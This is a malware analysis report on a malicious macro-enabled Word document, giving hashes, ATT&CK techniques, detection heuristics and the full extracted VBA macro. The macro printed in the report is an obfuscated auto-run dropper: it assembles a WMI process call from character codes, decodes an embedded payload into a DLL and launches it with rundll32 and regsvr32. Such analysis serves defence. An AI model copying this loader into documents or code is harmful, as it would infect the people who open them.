Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d514154ac656f8f2…

MALICIOUS

Office (OOXML)

88.8 KB Created: 2020-08-11 12:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: ad76bbb19d39f64e20eb89b330538828 SHA-1: 49b56fde13028007d63f92f64879452b3a261569 SHA-256: d514154ac656f8f2b9a6b82ee5dc85c62ff6bce4bb03bf7e4120b500d597db62
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a heavily obfuscated VBA macro that executes upon opening the document. This macro utilizes GetObject to interact with WMI and constructs a path using Environ$("USERPROFILE") + "\ddd" to save files as .doc, .xls, and .pub. It also attempts to write to the registry for persistence via the Run key. The presence of Document_Open, GetObject, and obfuscated auto-exec loaders strongly indicates a downloader functionality, likely for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2937 bytes
SHA-256: fc2b4d90d053d00945ee94e8100f55b8d1f3331f8e16cfc83a58bd5de1c457a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private pid
Private strLine As String
Private strLine2 As String
Private DeDir As String
Private SeDir As String
Private IntVar As Long
Private IntVar2 As Long
Private ComName As String
Private widraw

#If VBA7 Then
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal FUNC_ARG_RAND As Long) As Long
#Else
Private Declare Function Sleep Lib "Kernel32" (ByVal FUNC_ARG_RAND As Long) As Long
#End If

Private Sub Document_Open()

Set widraw = GetObject(ChrW(119) + ChrW(105) + ChrW(110) + ChrW(109) + ChrW(103) + ChrW(109) + ChrW(116) + ChrW(115) + ChrW(58) + ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) + ChrW(50) + ChrW(95) + ChrW(80) + ChrW(114) + ChrW(111) + ChrW(99) + ChrW(101) + ChrW(115) + ChrW(115))

ComName = ChrW(67) + ChrW(79) + ChrW(77) + ChrW(80) + ChrW(85) + ChrW(84) + ChrW(69) + ChrW(82) + ChrW(78) + ChrW(65) + ChrW(77) + ChrW(69)

strLine = Environ$("USERPROFILE") + "\ddd"

DeDir = ""
SeDir = ""

strLine2 = Environ$(ChrW(65) + ChrW(80) + ChrW(80) + ChrW(68) + ChrW(65) + ChrW(84) + ChrW(65)) + "\" + Environ$(ComName) + "\" + Environ$(ComName)

ActiveDocument.SaveAs2 FileName:=strLine + ".doc", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic
ActiveDocument.SaveAs2 FileName:=strLine + ".xls", FileFormat:=wdFormatText, ReadOnlyRecommended:=False
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, ReadOnlyRecommended:=False
widraw.create Right(ThisDocument.DefaultTargetFrame + " -decode ", 17) + strLine + ChrW(46) + ChrW(120) + ChrW(108) + ChrW(115) + " " + strLine + ".dll", Null, Null, processid
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText
Do While DeDir = "" Or IntVar > 10
    DeDir = Dir(strLine & ".dll")
    Sleep 1000: IntVar = IntVar + 1
Loop
If Not Dir(strLine & ".dll") = "" Then
    widraw.create Right("cc85g78c89f799bcafb88a9eggebc6fag87rundll32 ", 9) + strLine & ".dll,EntryPoint", Null, Null, threadride
End If

ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, ReadOnlyRecommended:=False

Do While SeDir = "" Or IntVar2 > 10
    SeDir = Dir(strLine2 & ".dll")
    Sleep 1000: IntVar2 = IntVar2 + 1
Loop
If Not Dir(strLine2 & ".dll") = "" Then
    widraw.create Right("77af76cfbff5f98ffb6g57agaga88876fbgregsvr32 /si ", 13) + strLine2 & ".dll", Null, Null, threadride
End If

ActiveDocument.SaveAs2 FileName:=strLine + ".doc", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic

End Sub

Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: a9cce70dcd94c09f0fadc339df84483567413f442cbcb9345789bac3f7a5e725
Detection
ClamAV: Doc.Downloader.Mrof-9369686-0
Obfuscation or payload: unlikely